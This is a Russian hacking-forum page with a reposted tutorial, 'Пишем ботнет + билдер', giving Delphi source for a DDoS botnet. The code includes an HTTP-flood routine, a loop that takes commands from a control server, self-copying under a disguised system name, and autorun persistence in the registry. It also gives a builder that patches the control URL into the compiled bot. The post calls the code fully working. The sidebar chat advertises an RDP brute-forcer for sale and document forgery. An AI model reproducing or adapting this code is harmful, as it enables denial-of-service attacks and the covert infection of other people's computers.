Для доступа к контенту сайта, пожалуйста отключите Аd-Blосk. При включенном блокираторе сайт может работать не корректно.

Реклама
Новые комментарии
  • dan4uk0024
    Написал(а): dan4uk0024
    В новости: Trident File Locker
  • lolik5000
    Написал(а): lolik5000
  • vancheat
    Написал(а): vancheat
    В новости: Winlocker Builder 6
  • BatCat
    Написал(а): BatCat
    В новости: web shell (веб шелл)
  • Nastenka96
    Написал(а): Nastenka96
  • TronCreeper
    Написал(а): TronCreeper
Доска почёта
Посетители
Счётчики



Анализ сайта
Чат

Чтобы оставлять сообщения - зарегистрируйтесь
  • alexjigalo
    23 июл 2017, 23:14
    А в общих чертах можно?
    • Eclipst
      23 июл 2017, 22:59
      @alexjigalo, довольно просто
      • alexjigalo
        23 июл 2017, 22:54
        Привет. Стоит сервер, на дистрибутиве PIMP. И соответственно система управления через miner.farm. Проблема в том, что нет центрального клиента, из которого можно екзекютить скрипты для всех серверов. Как это можно сделать, и создать централизированую систему?
        • Eclipst
          23 июл 2017, 22:48
          Привет всем , давно не заходил)
          • rurik84
            23 июл 2017, 00:53
            RDP Brute z668 1.6 - 100$
            • Anonim)
              22 июл 2017, 21:41
              НУ так я знаю)
              • flixxxman
                22 июл 2017, 21:35
                Ну так молодец
                • Anonim)
                  22 июл 2017, 21:24
                  пф это все сделуют на изи
                  • flixxxman
                    22 июл 2017, 21:14
                    Перерисую год рождения в вашем паспорте БЕСПЛАТНО
                    • Anonim)
                      22 июл 2017, 21:09
                      Клёвая работа)
                      • alexjigalo
                        22 июл 2017, 16:52
                        Привет, кто умеет работать с серверами? В плане получения данных, для грязных целей. Работаю сис админом, на сервере по майнингу криптовалюты. Защиты 0, как и серьезности. Что можео интересного с ними сделать?

                        Пишите в пм)
                        • Anonim)
                          22 июл 2017, 01:50
                          Всем ку
                          • Kira_the_first
                            21 июл 2017, 21:22
                            @kfs3, а чем по жизни занимаешься(крякер или ддосер)?
                            • Kira_the_first
                              21 июл 2017, 21:18
                              @kfs3, истину базаришь, чел
                              • antygrav
                                21 июл 2017, 21:02
                                Ку
                                • nafanya
                                  21 июл 2017, 16:01
                                  Ку, вчера софт на сайте висел, что то типа BitcoinMiner (в названии было что то типа moneymaker) куда он делся? Или я слепой? (В таком случае прошу вас помочь мне и дать ссылочку пожалуйста, примного благодарен)
                                  • delgado101
                                    21 июл 2017, 13:21
                                    hi
                                    • kfs3
                                      21 июл 2017, 12:49
                                      родителти это те кто нас долбаебов воспитали и дали жизнь как отец так и мать
                                      • kfs3
                                        21 июл 2017, 12:49
                                        не шути с предками родственников ибо участь может быть пагубной
                                        • kfs3
                                          21 июл 2017, 12:48
                                          вайс ты дурачек не понемаешь ,что ты пишешь ,в ночи придут ,ну скажеим могут прийти те от которых уже не удешь,дурак живи ,он деньги с рекламы получай ,я не знаю семью корми ,мороженное кушай
                                          • kfs3
                                            21 июл 2017, 12:46
                                            вайс ,я даже не навижу таких гнид которые родителей трогают будь чеих ,мразь ты ебучая и другим людям говорю ,народ решайте все между собой,родители это святое
                                            • kfs3
                                              21 июл 2017, 12:07
                                              ты знаешь вайс ,если тебя плойт петухнет ,он будет по всем понятиям прав и с точки зрения марали и с точки зрения воровского мира и чисто по человечески ,упал ты в моих глаз вайс ,по ходу ты пустой человек ,падонок и гнида ,пускай плойт даже мент не мент ,но ты опустился вайс
                                              • kfs3
                                                21 июл 2017, 10:42
                                                я че хотел спросить админ ты в этой петушне трешся каждый день ,что это за тип такой нарисовался Djoser ,молотит такое всех в ж*пу ебет кричит лучший кодер планеты ,там прогу для лохов написал минипостер ,хотя по уму шаблоны и вся эта х*йня ,ну этож разводняк
                                                • kfs3
                                                  21 июл 2017, 10:40
                                                  ой бля кто нарисовался мент позорный))))))))) плойтяра это пиздец сколько зим ,админ ну людей не красит тоже это детсад причем тут его мать ,ну шутки ну ты и честь знай ,а то так на коллбасе ездить и будешь ,за такое и петухнуть могут
                                                  • DzIvan
                                                    21 июл 2017, 05:31
                                                    @admin, Админ чекни я сделал тему для форума!
                                                    • admin
                                                      20 июл 2017, 21:12
                                                      @exploit, у меня в подвале твоя мать.
                                                      • HANTOL
                                                        20 июл 2017, 17:22
                                                        @exploit, @exploit, Чем ты болен?
                                                        • exploit
                                                          20 июл 2017, 14:27
                                                          Админ х*йло наверно запретил мне менять репу.
                                                          • exploit
                                                            20 июл 2017, 14:26
                                                            Чота не работает
                                                            • exploit
                                                              20 июл 2017, 14:25
                                                              Такс, надо репу масону заминусить, я за этим и пришел
                                                              Опрос на сайте
                                                              Как Вы нашли нас?
                                                              Поисковые системы
                                                              Порекомендовали
                                                              По ссылке с других сайтов
                                                              По ссылке с соц. сетей
                                                              Давно тут, по закладке
                                                              Ярлык в архиве с софтом
                                                              Случайно

                                                              Подписки

                                                                Получать новости на email:


                                                                Мы в соц. сетях:

                                                              Реклама

                                                              Последние сообщения с форума

                                                              Название темы Автор Статистика Последнее сообщение
                                                              Вбиваю любые вещи за 35%

                                                              Тема в разделе: Работа/Услуги

                                                              byShiz0

                                                              Просмотров: 257

                                                              Ответов: 5

                                                              Автор: boom13777

                                                              Сегодня, 01:37

                                                              Помогите!!!!! Acunetix Web Vulnerability Scanner

                                                              Тема в разделе: WEB уязвимости

                                                              BatCat

                                                              Просмотров: 34

                                                              Ответов: 0

                                                              Автор: BatCat

                                                              Вчера, 23:07

                                                              раздаю аккаунты vk

                                                              Тема в разделе: Халява

                                                              LightStyles

                                                              Просмотров: 106311

                                                              Ответов: 471

                                                              Автор: darknight

                                                              Вчера, 16:15

                                                              Пишем ботнет + билдер
                                                              Автор: Abrazor | Дата: 19-07-2012, 12:28 | Комментариев: 18 | Просмотров: 8695
                                                              Сразу говорю статейка не моя!!!!
                                                              Пишем ботнет + билдер

                                                              Главное для бота это размер. Чтобы уменьшить размер нам нужно свести к минимуму кол-во используемых модулей. Поэтому определимся с функционалом ботнета: в качестве метода атаки мы будем использовать http-flood, который реализуем на wininet, также используя его для получения команд с сервера. Многопочность и все остальные функции мы реализуем на winapi.
                                                              Соответственно:
                                                              uses wininet, windows;

                                                              Дабы не затруднять код кол-во потоков мы сделаем фиксированным, так же как и время ожидания при получении ответа от сервера. От сервера мы будем получать команды к действию (атака/ожидание/смерть) и адрес страницы для атаки.

                                                              Для начала возьмем готовую функцию отправки GET запроса и получения ответа: (оптимизирована под Delphi 2010/11)
                                                              function DelHttp(url: String): String; // парсинг адреса
                                                              begin
                                                                if Pos('http://', url) > 0 then
                                                                  Delete(url, 1, 7);
                                                                result := Copy(url, 1, Pos('/', url) - 1);
                                                                if result = '' then
                                                                  result := url + #0;
                                                              end;

                                                              function GetUrl(const url: String): String; // получение кода страницы
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Buff: array ***91;0 .. 1023***93; of ansiChar;
                                                                BytesRead: Cardinal;
                                                                Res, Len: DWORD;
                                                              begin
                                                                result := '';
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      if not(HttpSendRequest(FRequest, nil, 0, nil, 0)) then
                                                                        Exit;
                                                                      FillChar(Buff, SizeOf(Buff), 0);
                                                                      repeat
                                                                        result := result + Buff;
                                                                        FillChar(Buff, SizeOf(Buff), 0);
                                                                        InternetReadFile(FRequest, @Buff, SizeOf(Buff), BytesRead);
                                                                      until BytesRead = 0;
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Часть переменных я вывел в константы:
                                                              const
                                                                HTTP_PORT = 80;
                                                                CRLF = #13#10;
                                                                Header = 'Content-Type: application/x-www-form-urlencoded' + CRLF;

                                                              Ее мы будем использовать для получения команд от сервера.
                                                              Теперь немного оптимизируем ее для хттп-флуда:
                                                              procedure dosattack(const url: String); // хттп флуд
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Res, Len: DWORD;
                                                              begin
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      HttpSendRequest(FRequest, nil, 0, nil, 0);
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Также в константы выведем еще некоторые переменные:
                                                              settingsurl = 'http://www.xxx.com/set.html'; // страница получения настроек
                                                                waittime = 10000; // время ожидания
                                                                threadscount = 10; // кол-во потоков
                                                                newname = 'sysutils.exe'; // имя бота

                                                              В var запишем следующее:
                                                              var
                                                                a: array ***91;0 .. threadscount***93; of longword; // массив потоков
                                                                id: longword;   //служебные переменные
                                                                stop, e: boolean;
                                                                ddosurl, exename: string; // адрес атаки, пусть до файла
                                                                i: integer;

                                                              Ниже представлена процедура потока для доса:
                                                              procedure dosthread; // ддос поток
                                                              begin
                                                                while stop = false do // начальное ожидание
                                                                  sleep(100);
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    if e then // выход
                                                                      endthread(0);
                                                                    dosattack(ddosurl); // хттп флуд
                                                                  end;
                                                                finally
                                                                  endthread(0);     // выход
                                                                end;
                                                              end;

                                                              Команды от сервера мы будем получать следующим образом:
                                                              procedure getcommand; // получение команд от сервера
                                                              var
                                                                p, t1, t2: string;
                                                                i: integer;
                                                              begin
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    try
                                                                      p := ''; // код страницы
                                                                      t1 := ''; // режим
                                                                      t2 := ''; // адрес атаки
                                                                      p := GetUrl(settingsurl); // получаем код страницы
                                                                      for i := 1 to Pos('|', p) - 1 do
                                                                        t1 := t1 + p***91;i***93;;
                                                                      for i := Pos('|', p) + 1 to Length(p) do
                                                                        t2 := t2 + p***91;i***93;;
                                                                      ddosurl := t2; // изменяем страницу атаки
                                                                      if t1 = '1' then // приводим потоки в действие
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          ResumeThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '0' then // замораживаем потоки
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '-1' then // убиваем потоки
                                                                      begin
                                                                        e := true;
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                        deletefile(PChar(exename));
                                                                        halt(0); // выход из программы
                                                                      end;
                                                                      sleep(waittime); // ожидание...
                                                                    except
                                                                    end;
                                                                  end;
                                                                finally
                                                                  endthread(0);
                                                                end;
                                                              end;

                                                              В коде основной программы пропишем запуск потоков:
                                                              try
                                                                  e := false;
                                                                  stop := false;
                                                                  a***91;0***93; := beginthread(nil, 0, Addr(getcommand), nil, 0, id);
                                                                  // создаем поток для получения данных
                                                                  SetThreadPriority(a***91;0***93;, THREAD_PRIORITY_HIGHEST); // высокий приоритет
                                                                  for i := 1 to threadscount do // запускаем потоки
                                                                    a***91;i***93; := beginthread(nil, 0, Addr(dosthread), nil, 0, id);
                                                                  for i := 1 to threadscount do // замораживаем потоки
                                                                    SuspendThread(a***91;i***93;);
                                                                  stop := true; // убираем начальное ожидание
                                                                finally
                                                                  while 1 > 0 do // работаем
                                                                    sleep(100);
                                                                end;

                                                              Теперь наш бот надо превратить в некое подобие вируса. Нам нужны следующие функции:
                                                              function GetWindowsDir: String; // получение системной директории
                                                              var
                                                                name: array ***91;0 .. 255***93; of Char;
                                                              begin
                                                                GetWindowsDirectory(Name, SizeOf(Name));
                                                                result := name;
                                                              end;

                                                              Procedure regbot; // запись в автозагрузку
                                                              var
                                                                Key: hkey;
                                                                SystemPath: array ***91;0 .. MAX_PATH***93; of Char;
                                                              begin
                                                                GetSystemDirectory(SystemPath, MAX_PATH);
                                                                if RegOpenKeyEx HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_CREATE_SUB_KEY or
                                                                  KEY_SET_VALUE, Key) = ERROR_SUCCESS then
                                                                begin
                                                                  RegSetValueEx(Key, 'SysUtils', 0, REG_SZ, PChar(exename),
                                                                    lstrlen(PChar(exename)) + Length(exename));
                                                                  RegCloseKey(Key);
                                                                end;
                                                              end;

                                                              Запуск которых нужно вставить в самом начале основного кода:
                                                              try
                                                              exename := GetWindowsDir + '' + newname;
                                                              CopyFile(PChar(ParamStr(0)), PChar(exename), true);
                                                              // самокопирование в системную папку
                                                              regbot; // из-за этого определяется как троян (запись в автозагрузку)
                                                              except
                                                              end;

                                                              Размер после компиляции: 34 КБ После сжатия ASPack'ом будем порядка 18 КБ.

                                                              Дополнение. Пишем билдер.
                                                              Патчить мы будем адрес страницы с настройками. Для начала заполним переменную settingsurl ровно сотней нулей (или еще чемнибудь)
                                                              Скомпилим и откроем наш bot.exe в WinHex. Найдем там эти нули:
                                                              Пишем ботнет + билдер

                                                              Начальный адрес равен 4860 (на скрине он немного не такой ибо файл другой) А конечный 48C8. Ко всему этому между каждым символом стоит пустой бит.
                                                              Вот код нашего билдера:
                                                              program builder;

                                                              {$APPTYPE CONSOLE}

                                                              uses
                                                                sysutils, windows;
                                                              const
                                                                filename = 'bot.exe';
                                                                sourcename = 'source.exe';
                                                              var
                                                                page: ansistring;
                                                                f: thandle;
                                                                c: byte;
                                                                BytesRead: DWORD;
                                                                i, p, j: integer;
                                                              begin
                                                                writeln('Enter Page with settings (max 100 symbols)');
                                                                readln(page);
                                                                copyfile(pchar(sourcename), pchar(filename), true);
                                                                if not fileexists(filename) then
                                                                begin
                                                                  writeln('bot.exe not found');
                                                                  readln;
                                                                  halt(0);
                                                                end;
                                                                f := fileopen(filename, fmOpenReadWrite);
                                                                // 4860-48C8
                                                                for i := 1 to 100 - length(page) do
                                                                  page := page + ' ';
                                                                for i := 0 to 99 do
                                                                begin
                                                                  p := $4860;
                                                                  for j := 1 to i do
                                                                    p := p + $2;
                                                                  c := ord(char(pchar(page***91;i+1***93;)));
                                                                  SetFilePointer(f, p, nil, 0);
                                                                  WriteFile(f, c, SizeOf(c), BytesRead, nil);
                                                                end;
                                                                FileClose(f);
                                                                writeln('bot.exe success patch!');
                                                                readln;
                                                              end.


                                                              где source.exe - имя нашего исходного файла
                                                              а bot.exe - выходной файл.

                                                              P.S Весь выше приведенный код является полностью рабочим.
                                                              Автор не несет ответственности за противозаконное использование статьи.
                                                              Пароль на все архивы "happy-hack.ru" либо "hh"





                                                              Поделись:
                                                              Здесь присутствуют:
                                                              На данный момент новость никто не просматривает.
                                                              Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
                                                              Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: fiin
                                                              • Дата: 19 июля 2012 12:39
                                                              • Новостей: 1
                                                              • Комментариев: 11
                                                              если ты спрячешь все коды в спойлер то будет лучше, а та не плохо

                                                              Репутация: ( -2 )
                                                            • Offline Пользователь offline

                                                              • Написал: OREL2099
                                                              • Дата: 19 июля 2012 18:12
                                                              • Новостей: 0
                                                              • Комментариев: 16
                                                              db

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 19 июля 2012 20:27
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Автор молодец smile-28

                                                              Если я правильно понял , программа должна реализововать только ддос , если меня допустим не интересует ни функции ддоса ни рассылки спама и т.д а интересут только заработок на зомби кликерах ,как его можно реализовать ?

                                                              Репутация: ( 36 )
                                                            • Offline Пользователь offline

                                                              • Написал: Abrazor
                                                              • Дата: 19 июля 2012 20:49
                                                              • Новостей: 32
                                                              • Комментариев: 162
                                                              Snake92,
                                                              Автор статейки не я.
                                                              Я только учусь кодить на делфи.
                                                              А по таким вопросам к Гуглу=)

                                                              --------------------

                                                              Репутация: ( )

                                                              • Написал: maximus
                                                              • Дата: 20 июля 2012 01:36
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Кто пробовал юзать?

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: FTALP
                                                              • Дата: 20 июля 2012 02:10
                                                              • Новостей: 2
                                                              • Комментариев: 28
                                                              maximus, такое юзать себе же хуже..

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 22 июля 2012 12:19
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              maximus,
                                                              начнешь юзать без достойного опыта , навыков , считай что к тебе уже выехали

                                                              Репутация: ( 3 )
                                                            • Offline Пользователь offline

                                                              • Написал: sahan
                                                              • Дата: 31 июля 2012 03:27
                                                              • Новостей: 0
                                                              • Комментариев: 200
                                                              Цитата: Snake92
                                                              как его можно реализовать ?

                                                              Кстати да, очень интересно. Можно зарабатывать очень не плохо
                                                              fap

                                                              Репутация: ( )

                                                              • Написал: vaa.alex
                                                              • Дата: 10 августа 2012 20:24
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Snake92,
                                                              а ты думаешь опыт можно с инета скачать? Опыт приходит со временем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: LoSa
                                                              • Дата: 12 августа 2012 09:48
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              Надо будет попробывать smile-17

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: RBD
                                                              • Дата: 20 августа 2012 03:32
                                                              • Новостей: 0
                                                              • Комментариев: 3
                                                              Спасибо за инфу smile-59

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: benny
                                                              • Дата: 20 августа 2012 10:02
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              спасибо

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: mrshot
                                                              • Дата: 23 августа 2012 21:18
                                                              • Новостей: 0
                                                              • Комментариев: 13
                                                              ep автор, отличная статья

                                                              Репутация: ( )

                                                              • Написал: centrirn
                                                              • Дата: 5 октября 2012 11:14
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Спасибо. smile-51

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Vladimir14765
                                                              • Дата: 9 декабря 2012 08:31
                                                              • Новостей: 0
                                                              • Комментариев: 5
                                                              Спасибо :)

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: Loslew
                                                              • Дата: 5 февраля 2013 04:35
                                                              • Новостей: 1
                                                              • Комментариев: 24
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: fcsm
                                                              • Дата: 23 марта 2013 19:13
                                                              • Новостей: 0
                                                              • Комментариев: 29
                                                              Цитата: Loslew
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              можно, но ведь интересней его написать самому, сделать его таким, какого еще нет, что бы он был не однообразным, и чем то отличался от других..

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Flach
                                                              • Дата: 25 июля 2013 18:29
                                                              • Новостей: 0
                                                              • Комментариев: 26
                                                              smile-31 класс статья =))
                                                              Добавление комментария
                                                              Вопрос:
                                                              Я видел дебилов диких, я слышал кретинов стоны, и если один скажет: "ихний", миллионы ответят: *****
                                                              Ответ:*
                                                              Имя:*
                                                              E-Mail:
                                                              Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Картинка
                                                              Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
                                                              Введите код: *